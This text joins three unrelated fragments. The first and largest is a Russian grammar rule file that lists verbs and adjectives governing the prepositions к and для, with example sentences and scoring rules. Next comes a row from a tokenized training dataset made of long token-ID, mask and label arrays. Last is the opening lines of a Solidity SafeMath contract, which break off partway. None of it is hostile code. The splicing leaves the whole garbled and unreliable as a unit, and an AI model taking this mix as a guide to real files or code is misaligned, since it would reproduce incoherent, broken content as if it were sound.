rus_verbs:приехать{}, // Он приедет к концу будущей недели.
rus_verbs:подсаживаться{},
rus_verbs:успевать{}, // успевать к стилисту
rus_verbs:привлекать{}, // привлекать к себе внимание
прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму
rus_verbs:прийтись{}, // прийтись ко двору
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы
инфинитив:адаптироваться{вид:несоверш},
глагол:адаптироваться{вид:соверш},
глагол:адаптироваться{вид:несоверш},
деепричастие:адаптировавшись{},
деепричастие:адаптируясь{},
прилагательное:адаптировавшийся{вид:соверш},
//+прилагательное:адаптировавшийся{вид:несоверш},
прилагательное:адаптирующийся{},
rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей
rus_verbs:близиться{}, // Шторм близится к побережью
rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне
rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки
rus_verbs:причислить{}, // Мы причислили его к числу экспертов
rus_verbs:вести{}, // Наша партия ведет народ к процветанию
rus_verbs:взывать{}, // Учителя взывают к совести хулигана
rus_verbs:воззвать{}, // воззвать соплеменников к оружию
rus_verbs:возревновать{}, // возревновать к поклонникам
rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью
rus_verbs:восходить{}, // восходить к вершине
rus_verbs:восшествовать{}, // восшествовать к вершине
rus_verbs:успеть{}, // успеть к обеду
rus_verbs:повернуться{}, // повернуться к кому-то
rus_verbs:обратиться{}, // обратиться к охраннику
rus_verbs:звать{}, // звать к столу
rus_verbs:отправиться{}, // отправиться к парикмахеру
rus_verbs:обернуться{}, // обернуться к зовущему
rus_verbs:явиться{}, // явиться к следователю
rus_verbs:уехать{}, // уехать к родне
rus_verbs:прибыть{}, // прибыть к перекличке
rus_verbs:привыкнуть{}, // привыкнуть к голоду
rus_verbs:уходить{}, // уходить к цыганам
rus_verbs:привести{}, // привести к себе
rus_verbs:шагнуть{}, // шагнуть к славе
rus_verbs:относиться{}, // относиться к прежним периодам
rus_verbs:подослать{}, // подослать к врагам
rus_verbs:поспешить{}, // поспешить к обеду
rus_verbs:зайти{}, // зайти к подруге
rus_verbs:позвать{}, // позвать к себе
rus_verbs:потянуться{}, // потянуться к рычагам
rus_verbs:пускать{}, // пускать к себе
rus_verbs:отвести{}, // отвести к врачу
rus_verbs:приблизиться{}, // приблизиться к решению задачи
rus_verbs:прижать{}, // прижать к стене
rus_verbs:отправить{}, // отправить к доктору
rus_verbs:падать{}, // падать к многолетним минимумам
rus_verbs:полезть{}, // полезть к дерущимся
rus_verbs:лезть{}, // Ты сама ко мне лезла!
rus_verbs:направить{}, // направить к майору
rus_verbs:приводить{}, // приводить к дантисту
rus_verbs:кинуться{}, // кинуться к двери
rus_verbs:поднести{}, // поднести к глазам
rus_verbs:подниматься{}, // подниматься к себе
rus_verbs:прибавить{}, // прибавить к результату
rus_verbs:зашагать{}, // зашагать к выходу
rus_verbs:склониться{}, // склониться к земле
rus_verbs:стремиться{}, // стремиться к вершине
rus_verbs:лететь{}, // лететь к родственникам
rus_verbs:ездить{}, // ездить к любовнице
rus_verbs:приближаться{}, // приближаться к финише
rus_verbs:помчаться{}, // помчаться к стоматологу
rus_verbs:прислушаться{}, // прислушаться к происходящему
rus_verbs:изменить{}, // изменить к лучшему собственную жизнь
rus_verbs:проявить{}, // проявить к погибшим сострадание
rus_verbs:подбежать{}, // подбежать к упавшему
rus_verbs:терять{}, // терять к партнерам доверие
rus_verbs:пропустить{}, // пропустить к певцу
rus_verbs:подвести{}, // подвести к глазам
rus_verbs:меняться{}, // меняться к лучшему
rus_verbs:заходить{}, // заходить к другу
rus_verbs:рвануться{}, // рвануться к воде
rus_verbs:привлечь{}, // привлечь к себе внимание
rus_verbs:присоединиться{}, // присоединиться к сети
rus_verbs:приезжать{}, // приезжать к дедушке
rus_verbs:дернуться{}, // дернуться к борту
rus_verbs:подъехать{}, // подъехать к воротам
rus_verbs:готовиться{}, // готовиться к дождю
rus_verbs:убежать{}, // убежать к маме
rus_verbs:поднимать{}, // поднимать к источнику сигнала
rus_verbs:отослать{}, // отослать к руководителю
rus_verbs:приготовиться{}, // приготовиться к худшему
rus_verbs:приступить{}, // приступить к выполнению обязанностей
rus_verbs:метнуться{}, // метнуться к фонтану
rus_verbs:прислушиваться{}, // прислушиваться к голосу разума
rus_verbs:побрести{}, // побрести к выходу
rus_verbs:мчаться{}, // мчаться к успеху
rus_verbs:нестись{}, // нестись к обрыву
rus_verbs:попадать{}, // попадать к хорошему костоправу
rus_verbs:опоздать{}, // опоздать к психотерапевту
rus_verbs:посылать{}, // посылать к доктору
rus_verbs:поплыть{}, // поплыть к берегу
rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе
rus_verbs:отнести{}, // отнести животное к ветеринару
rus_verbs:прислониться{}, // прислониться к стволу
rus_verbs:наклонить{}, // наклонить к миске с молоком
rus_verbs:прикоснуться{}, // прикоснуться к поверхности
rus_verbs:увезти{}, // увезти к бабушке
rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия
rus_verbs:подозвать{}, // подозвать к себе
rus_verbs:улететь{}, // улететь к теплым берегам
rus_verbs:ложиться{}, // ложиться к мужу
rus_verbs:убираться{}, // убираться к чертовой бабушке
rus_verbs:класть{}, // класть к другим документам
rus_verbs:доставлять{}, // доставлять к подъезду
rus_verbs:поворачиваться{}, // поворачиваться к источнику шума
rus_verbs:заглядывать{}, // заглядывать к любовнице
rus_verbs:занести{}, // занести к заказчикам
rus_verbs:прибежать{}, // прибежать к папе
rus_verbs:притянуть{}, // притянуть к причалу
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:подать{}, // он подал лимузин к подъезду
rus_verbs:подавать{}, // она подавала соус к мясу
rus_verbs:приобщаться{}, // приобщаться к культуре
прилагательное:неспособный{}, // Наша дочка неспособна к учению.
прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару
прилагательное:предназначенный{}, // Старый дом предназначен к сносу.
прилагательное:внимательный{}, // Она всегда внимательна к гостям.
прилагательное:назначенный{}, // Дело назначено к докладу.
прилагательное:разрешенный{}, // Эта книга разрешена к печати.
прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам.
прилагательное:готовый{}, // Я готов к экзаменам.
прилагательное:требовательный{}, // Он очень требователен к себе.
прилагательное:жадный{}, // Он жаден к деньгам.
прилагательное:глухой{}, // Он глух к моей просьбе.
прилагательное:добрый{}, // Он добр к детям.
rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам.
rus_verbs:плыть{}, // Пароход плыл к берегу.
rus_verbs:пойти{}, // я пошел к доктору
rus_verbs:придти{}, // придти к выводу
rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом.
rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений.
rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам.
rus_verbs:спускаться{}, // Улица круто спускается к реке.
rus_verbs:спуститься{}, // Мы спустились к реке.
rus_verbs:пустить{}, // пускать ко дну
rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью!
rus_verbs:отойти{}, // Дом отошёл к племяннику.
rus_verbs:отходить{}, // Коля отходил ко сну.
rus_verbs:приходить{}, // местные жители к нему приходили лечиться
rus_verbs:кидаться{}, // не кидайся к столу
rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу.
rus_verbs:закончиться{}, // Собрание закончилось к вечеру.
rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему.
rus_verbs:направиться{}, // Мы сошли на берег и направились к городу.
rus_verbs:направляться{},
rus_verbs:свестись{}, // Всё свелось к нулю.
rus_verbs:прислать{}, // Пришлите кого-нибудь к ней.
rus_verbs:присылать{}, // Он присылал к должнику своих головорезов
rus_verbs:подлететь{}, // Самолёт подлетел к лесу.
rus_verbs:возвращаться{}, // он возвращается к старой работе
глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{},
прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая.
rus_verbs:возвращать{}, // возвращать к жизни
rus_verbs:располагать{}, // Атмосфера располагает к работе.
rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому.
rus_verbs:поступить{}, // К нам поступила жалоба.
rus_verbs:поступать{}, // К нам поступают жалобы.
rus_verbs:прыгнуть{}, // Белка прыгнула к дереву
rus_verbs:торопиться{}, // пассажиры торопятся к выходу
rus_verbs:поторопиться{}, // поторопитесь к выходу
rus_verbs:вернуть{}, // вернуть к активной жизни
rus_verbs:припирать{}, // припирать к стенке
rus_verbs:проваливать{}, // Проваливай ко всем чертям!
rus_verbs:вбежать{}, // Коля вбежал ко мне
rus_verbs:вбегать{}, // Коля вбегал ко мне
глагол:забегать{ вид:несоверш }, // Коля забегал ко мне
rus_verbs:постучаться{}, // Коля постучался ко мне.
rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому
rus_verbs:понести{}, // Мы понесли кота к ветеринару
rus_verbs:принести{}, // Я принес кота к ветеринару
rus_verbs:устремиться{}, // Мы устремились к ручью.
rus_verbs:подводить{}, // Учитель подводил детей к аквариуму
rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения.
rus_verbs:пригласить{}, // Я пригласил к себе товарищей.
rus_verbs:собираться{}, // Я собираюсь к тебе в гости.
rus_verbs:собраться{}, // Маша собралась к дантисту
rus_verbs:сходить{}, // Я схожу к врачу.
rus_verbs:идти{}, // Маша уверенно шла к Пете
rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию.
rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию.
rus_verbs:заканчивать{}, // Заканчивайте к обеду
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:окончить{}, //
rus_verbs:дозвониться{}, // Я не мог к вам дозвониться.
глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор
rus_verbs:уйти{}, // Антонио ушел к Элеонор
rus_verbs:бежать{}, // Антонио бежит к Элеонор
rus_verbs:спешить{}, // Антонио спешит к Элеонор
rus_verbs:скакать{}, // Антонио скачет к Элеонор
rus_verbs:красться{}, // Антонио крадётся к Элеонор
rus_verbs:поскакать{}, // беглецы поскакали к холмам
rus_verbs:перейти{} // Антонио перешел к Элеонор
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } }
then return true
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:к{} *:*{} }
then return false,-5
}
#endregion Предлог_К
#region Предлог_ДЛЯ
// ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ----------------------
wordentry_set Гл_ДЛЯ_Род={
частица:нет{}, // для меня нет других путей.
частица:нету{},
rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ)
rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ)
rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться)
rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ)
rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ)
rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ)
rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей
rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ)
rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ)
rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство
rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ)
rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ)
rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ)
rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ)
rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ)
rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ)
rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ)
rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ)
rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ)
rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ)
rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ)
rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ)
rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ)
rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ)
rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ)
rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ)
rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ)
rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ)
rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ)
rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ)
прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ)
rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ)
rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ)
rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ)
rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ)
rus_verbs:оставить{}, // или вообще решили оставить планету для себя
rus_verbs:оставлять{},
rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ)
rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ)
rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ)
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ)
rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ)
rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ)
rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ)
rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ)
rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для)
rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ)
rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ)
rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ)
rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ)
rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ)
прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ)
прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ)
прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ)
rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ)
rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ)
rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ)
rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ)
rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ)
rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ)
rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ)
rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ)
rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ)
rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ)
rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ)
прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ)
rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ)
rus_verbs:вывести{}, // мы специально вывели этих животных для мяса.
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для)
rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ)
rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ)
rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ)
rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ)
rus_verbs:найтись{}, // у вас найдется для него работа?
rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для)
rus_verbs:заехать{}, // Коля заехал для обсуждения проекта
rus_verbs:созреть{}, // созреть для побега
rus_verbs:наметить{}, // наметить для проверки
rus_verbs:уяснить{}, // уяснить для себя
rus_verbs:нанимать{}, // нанимать для разовой работы
rus_verbs:приспособить{}, // приспособить для удовольствия
rus_verbs:облюбовать{}, // облюбовать для посиделок
rus_verbs:прояснить{}, // прояснить для себя
rus_verbs:задействовать{}, // задействовать для патрулирования
rus_verbs:приготовлять{}, // приготовлять для проверки
инфинитив:использовать{ вид:соверш }, // использовать для достижения цели
инфинитив:использовать{ вид:несоверш },
глагол:использовать{ вид:соверш },
глагол:использовать{ вид:несоверш },
прилагательное:использованный{},
деепричастие:используя{},
деепричастие:использовав{},
rus_verbs:напрячься{}, // напрячься для решительного рывка
rus_verbs:одобрить{}, // одобрить для использования
rus_verbs:одобрять{}, // одобрять для использования
rus_verbs:пригодиться{}, // пригодиться для тестирования
rus_verbs:готовить{}, // готовить для выхода в свет
rus_verbs:отобрать{}, // отобрать для участия в конкурсе
rus_verbs:потребоваться{}, // потребоваться для подтверждения
rus_verbs:пояснить{}, // пояснить для слушателей
rus_verbs:пояснять{}, // пояснить для экзаменаторов
rus_verbs:понадобиться{}, // понадобиться для обоснования
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
rus_verbs:найти{}, // Папа нашел для детей няню
прилагательное:вредный{}, // Это вредно для здоровья.
прилагательное:полезный{}, // Прогулки полезны для здоровья.
прилагательное:обязательный{}, // Этот пункт обязателен для исполнения
прилагательное:бесполезный{}, // Это лекарство бесполезно для него
прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления
rus_verbs:создать{}, // Он не создан для этого дела.
прилагательное:сложный{}, // задача сложна для младших школьников
прилагательное:несложный{},
прилагательное:лёгкий{},
прилагательное:сложноватый{},
rus_verbs:становиться{},
rus_verbs:представлять{}, // Это не представляет для меня интереса.
rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка
rus_verbs:пройти{}, // День прошёл спокойно для него.
rus_verbs:проходить{},
rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ
rus_verbs:высаживаться{},
rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца.
rus_verbs:прибавить{},
rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов.
rus_verbs:составлять{},
rus_verbs:стараться{}, // Я старался для вас
rus_verbs:постараться{}, // Я постарался для вас
rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста.
rus_verbs:собраться{}, // собраться для обсуждения
rus_verbs:собираться{}, // собираться для обсуждения
rus_verbs:уполномочивать{},
rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров
rus_verbs:принести{}, // Я принёс эту книгу для вас.
rus_verbs:делать{}, // Я это делаю для удовольствия.
rus_verbs:сделать{}, // Я сделаю это для удовольствия.
rus_verbs:подготовить{}, // я подготовил для друзей сюрприз
rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз
rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села
rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села
rus_verbs:прибыть{} // они прибыли для участия
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } }
then return true
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:для{} *:*{} }
then return false,-4
}
#endregion Предлог_ДЛЯ
#region Предлог_ОТ
// попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_ОТ_Род_Запр=
{
rus_verbs:наслаждаться{}, // свободой от обязательств
rus_verbs:насладиться{},
rus_verbs:мочь{}, // Он не мог удержаться от смеха.
// rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:чувствовать{}, // все время от времени чувствуют его.
rus_verbs:планировать{},
rus_verbs:приняться{} // мы принялись обниматься от радости.
}
fact гл_предл
{
if context { Глаг_ОТ_Род_Запр предлог:от{} * }
then return false
}
#endregion Предлог_ОТ
#region Предлог_БЕЗ
/*
// запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_БЕЗ_Род_Запр=
{
rus_verbs:мочь{}, // Он мог читать часами без отдыха.
rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:планировать{},
rus_verbs:приняться{}
}
fact гл_предл
{
if context { Глаг_БЕЗ_Род_Запр предлог:без{} * }
then return false
}
*/
#endregion Предлог_БЕЗ
#region Предлог_КРОМЕ
fact гл_предл
{
if context { * ПредлогДляВсе * }
then return false,-5
}
#endregion Предлог_КРОМЕ
// ------------------------------------
// По умолчанию разрешаем все остальные сочетания.
fact гл_предл
{
if context { * * * }
then return true
}
| будем выбираться к дороге. (выбираться к)
| rus_verbs:выбираться{}, | 5,487,866 | [
1,
145,
114,
146,
230,
145,
117,
145,
118,
145,
125,
225,
145,
115,
146,
238,
145,
114,
145,
121,
146,
227,
145,
113,
146,
229,
146,
239,
146,
228,
146,
242,
225,
145,
123,
225,
145,
117,
145,
127,
146,
227,
145,
127,
145,
116,
145,
118,
18,
261,
145,
115,
146,
238,
145,
114,
145,
121,
146,
227,
145,
113,
146,
229,
146,
239,
146,
228,
146,
242,
225,
145,
123,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
436,
407,
67,
502,
2038,
30,
145,
115,
146,
238,
145,
114,
145,
121,
146,
227,
145,
113,
146,
229,
146,
239,
146,
228,
146,
242,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2019-09-28
*/
/*
* website: https://exclusiveplatform.com
*/
pragma solidity ^0.5.11;
/**
* @title SafeMath
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
